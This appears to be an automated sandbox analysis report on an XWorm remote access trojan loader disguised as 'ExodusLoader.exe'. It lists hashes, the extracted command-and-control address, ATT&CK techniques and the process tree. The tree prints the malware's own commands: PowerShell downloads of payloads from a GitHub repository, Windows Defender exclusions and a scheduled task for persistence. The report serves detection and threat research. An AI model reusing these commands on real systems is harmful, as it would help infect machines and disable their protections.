xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Analysis

max time kernel
79s
max time network
85s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
02/03/2025, 19:13

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General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1316-73-0x0000000002410000-0x000000000241E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	676	powershell.exe
11	676	powershell.exe
28	3200	powershell.exe
31	3200	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
676	powershell.exe
3200	powershell.exe
4280	powershell.exe
2180	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
11	676	powershell.exe
31	3200	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 4 IoCs

pid	Process
4432	ExodusInject.exe
4960	Exodus.exe
1316	AggregatorHost.exe
220	System.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
31	raw.githubusercontent.com
10	raw.githubusercontent.com
11	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2732	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
676	powershell.exe
676	powershell.exe
3200	powershell.exe
3200	powershell.exe
4280	powershell.exe
4280	powershell.exe
4280	powershell.exe
2180	powershell.exe
2180	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	676	powershell.exe
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	4432	ExodusInject.exe
Token: SeBackupPrivilege	3296	vssvc.exe
Token: SeRestorePrivilege	3296	vssvc.exe
Token: SeAuditPrivilege	3296	vssvc.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	1316	AggregatorHost.exe
Token: SeDebugPrivilege	1316	AggregatorHost.exe
Token: SeDebugPrivilege	220	System.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3428 wrote to memory of 3912	3428	ExodusLoader.exe	85
PID 3428 wrote to memory of 3912	3428	ExodusLoader.exe	85
PID 3912 wrote to memory of 676	3912	cmd.exe	86
PID 3912 wrote to memory of 676	3912	cmd.exe	86
PID 3912 wrote to memory of 3200	3912	cmd.exe	90
PID 3912 wrote to memory of 3200	3912	cmd.exe	90
PID 3912 wrote to memory of 4432	3912	cmd.exe	96
PID 3912 wrote to memory of 4432	3912	cmd.exe	96
PID 3912 wrote to memory of 4960	3912	cmd.exe	97
PID 3912 wrote to memory of 4960	3912	cmd.exe	97
PID 4432 wrote to memory of 4280	4432	ExodusInject.exe	101
PID 4432 wrote to memory of 4280	4432	ExodusInject.exe	101
PID 4432 wrote to memory of 2180	4432	ExodusInject.exe	103
PID 4432 wrote to memory of 2180	4432	ExodusInject.exe	103
PID 4432 wrote to memory of 2700	4432	ExodusInject.exe	108
PID 4432 wrote to memory of 2700	4432	ExodusInject.exe	108
PID 2700 wrote to memory of 2732	2700	cmd.exe	110
PID 2700 wrote to memory of 2732	2700	cmd.exe	110
PID 1316 wrote to memory of 4712	1316	AggregatorHost.exe	112
PID 1316 wrote to memory of 4712	1316	AggregatorHost.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3428
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7C83.tmp\7C84.tmp\7C85.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3200
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpADD4.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2700
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2732
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:4960

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3296

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4712

C:\ProgramData\System.exe
C:\ProgramData\System.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1feda65eb0fe965a67c34f7d973b7439

SHA1
358e61a8865c8c909a578212ef3092d2b6bfe701

SHA256
d618c79a6a9334c98c6d2220fe92a55e29892a4953b335354ddbb8964aa00f5b

SHA512
fc431924f1eba21a927781a18602e7351202c549bdadd714f4128f1f8aa880f741493e2a164cb6c1ff6c2f386fe773cf0e16d2d613bf992a032303520048ca55

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e8280b9e911dd55e8c7e89dc190698fc

SHA1
dbd2cfb353bd7a4b52368a0f26ee3f8f4cecf26d

SHA256
4ac8e5f19a46fba097398f5318d6f56ba241faaf18cb67adb59507dac9ccbbcf

SHA512
f561d1ca6437749398ae4ca246485f0a0eb92a7d42b3510a811cd29ca17b700bfc579fa7d7860e6395694162cf3366df31f020ee06ebff8095474a35d307aa9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7C83.tmp\7C84.tmp\7C85.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_23kb2vt0.ull.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpADD4.tmp.bat

Filesize
164B

MD5
13c545efdcf64d8db4521197fe115c8d

SHA1
edb07175d156aac60f507319b0999b77d4699d69

SHA256
cea3cc269d3ad36de84eb7d01ea8c6b12dcaddeaade6ae71e8e7f83d637ebed8

SHA512
a199318609058151f96f027be45b9c63dd0eee00330df61b93a9e9117d0c3adc4dc6202b0f227be86c3530d97e38674ccd9963072ebcf9b3feb3009a900d743b

Download Submit
memory/676-9-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/676-18-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/676-14-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/676-8-0x000002A7F34B0000-0x000002A7F34D2000-memory.dmp

Filesize
136KB

Download
memory/676-2-0x00007FFE1E8E3000-0x00007FFE1E8E5000-memory.dmp

Filesize
8KB

Download
memory/1316-73-0x0000000002410000-0x000000000241E000-memory.dmp

Filesize
56KB

Download
memory/3200-31-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-35-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-30-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/3200-20-0x00007FFE1E8E0000-0x00007FFE1F3A1000-memory.dmp

Filesize
10.8MB

Download
memory/4280-53-0x000001ECBBAD0000-0x000001ECBBCEC000-memory.dmp

Filesize
2.1MB

Download
memory/4432-41-0x0000000000F70000-0x0000000000FB0000-memory.dmp

Filesize
256KB

Download